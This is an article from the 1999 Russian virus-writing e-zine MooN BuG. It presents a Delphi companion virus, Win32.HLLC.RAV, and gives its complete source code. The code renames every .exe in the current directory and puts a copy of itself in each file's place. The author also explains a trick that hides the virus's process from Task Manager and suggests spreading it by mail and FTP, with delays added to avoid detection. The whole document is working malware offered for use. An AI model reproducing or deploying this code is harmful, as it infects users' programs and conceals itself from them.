╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ RedArc │006║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║ Win32.HLLC.RAV.321536 ║
╚════════════════════════════════════════════════════════════════════════════╝
С первого взгляда ничего особенного в этом вирусе нет. Поиск *.exe файлов
в текущем каталоге, переименование найденных жертв в файлы с расширением *.rav
(RedArcVirus) и запись собственного тела с именем жертвы. После поиска жертв
запускается goat-файл и ему передаются возможные параметры в командной строке.
С первого взгляда это еще один HLLC вирус написанный на Delphi и доказывающий
еще раз, что писать вирусы для Win32 не просто, а очень просто... еще проще,
чем для DOS.
Однако зверек содержит одну изюминку. А именно, вирус неявно включает
стелсирование своего процесса в Windows-памяти. Достигается это тем, что после
создания формы управление получает обработчик единственного объекта на форме -
кнопки с именем Button1. Именно этот обработчик и производит все вирусные
действия, но перед этим он изменяет два свойства самой формы:
Form1.Visible -> False
Form1.Enabled -> False
После чего форма исчезает с экрана и процесс становится невидимым из Task
Manager.
Натолкнулся я на этот эффект совершенно случайно, хотя может быть он где
то и задокументирован, но для вируса этот эффект чрезвычайно полезен. И так, я
взял форму, кинул на нее кнопку и в обработчик события OnClick вставил всего
лишь две команды:
procedure TForm1.Button1Click(Sender: TObject);
begin
Enabled := False;
Visible := False;
end;
После чего откомпилировал полученное приложение, запустил и щелкнул по
кнопке... Окно приложения исчезло, но доступ к файлу приложения остался
заблокированным. Никакими стандартными средствами я не смог прибить приложение
и мне пришлось ребутнуть форточки.
Именно этот эффект я и решил проверить на примитивном вирусе...
Получилось как ни странно ;) Все что для этого пришлось сделать, это
подключить автоматический вызов обработчика OnClick кнопки
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
---> Form1.Button1.Click;
Application.Run;
end.
и добавить вирусной функциональности в сам обработчик.
В принципе, можно выполнить запуск goat-файла сразу с выделением ему
отдельного потока, а в вирус воткнуть обход всех каталогов всех дисков,
рассылку собственного тела по почте и FTP ну и т.д. При этом вирус останется
активным в фоне даже после завершения работы goat-файла (резидент) и останется
невидимым для юзера (стелс). Главное - вставить в процедуру обхода каталогов
как можно больше Sleep'ов с как можно большим значением, дабы не волновать
юзера чрезвычайной активность HDD. Я этого делать не стал, поскольку мне это
не интересно.
И так, создаем в Delphi новый проект, кладем на форму кнопку, делаем
обработчик OnClick как показано ниже (см. модуль unit1.pas) и вставляем в файл
проекта (см. файл hllc.dpr) команду автоматического вызова этого обработчика.
Собственно и все. Вирус готов.
=== Cut === hllc.dpr
program HLLC;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Form1.Button1.Click;
Application.Run;
end.
=== Cut ===
=== Cut === unit1.pas
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, FileUtil;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
var
BossName : String;
HomeDir : String;
SParam : String;
Function ExecProgramFile (PName, PParam : String) : THandle;
var
S : String;
ProcessName,
ProcessParam : PChar;
IpProcessAttributes : PSecurityAttributes;
IpThreadAttributes : PSecurityAttributes;
bInheritHandles : bool;
dwCreationFlags : dword;
IpEnvironment : Pointer;
IpCurrentDirectory : LPCTSTR;
IpStartupInfo : _STARTUPINFOA;
IpProcessInformation: PROCESS_INFORMATION;
begin
if not FileExists (PName) then Exit;
ProcessName := nil;
ProcessParam := PChar (PName + ' ' + PParam);
IpProcessAttributes := nil;
IpThreadAttributes := nil;
bInheritHandles := True;
dwCreationFlags := Create_Default_Error_Mode;
IpEnvironment := nil;
IpCurrentDirectory := nil;
with IpStartupInfo do begin
cb := SizeOf (TStartupInfo);
lpReserved := nil;
lpDesktop := nil;
lpTitle := nil;
dwX := 0;
dwY := 0;
dwXSize := 100;
dwYSize := 100;
dwXCountChars := 80;
dwYCountChars := 24;
dwFillAttribute := 15;
dwFlags := STARTF_USESTDHANDLES;
wShowWindow := SW_SHOWNORMAL;
cbReserved2 := 0;
lpReserved2 := nil;
end;
if CreateProcess (ProcessName, ProcessParam, IpProcessAttributes, IpThreadAttributes,
bInheritHandles, dwCreationFlags, IpEnvironment,
IpCurrentDirectory, IpStartupInfo, IpProcessInformation)
then
Result:=IpProcessInformation.hProcess
Else
Result:=0;
ChDir (HomeDir);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
SR : TSearchRec;
S : String;
AhProcess : THandle;
AExitCode : DWORD;
i : integer;
begin
BossName := ParamStr (0);
SParam := '';
for i := 1 to ParamCount do
SParam := SParam + ' ' + ParamStr (i);
Visible := False;
Enabled := False;
GetDir (0, HomeDir);
if HomeDir [Length (HomeDir)] <> '\' then HomeDir := HomeDir + '\';
HomeDir := HomeDir + '*.exe';
if FindFirst(HomeDir, faArchive, SR) = 0 then begin
while FindNext(SR) = 0 do begin
S := ChangeFileExt (SR.Name, '.RAV');
if not RenameFile (SR.Name, S) then Continue;
S := SR.Name;
FileUtil.CopyFile (BossName, S, nil);
end;
FindClose(SR);
end;
S := ChangeFileExt (BossName, '.RAV');
if FileExists (S) then begin
AhProcess:=ExecProgramFile (S, SParam);
If not (AhProcess = 0 ) and (WaitForSingleObject(AhProcess, INFINITE) = WAIT_OBJECT_0)
then GetExitCodeProcess(AhProcess, AExitCode);
end;
Close;
end;
end.
=== Cut ===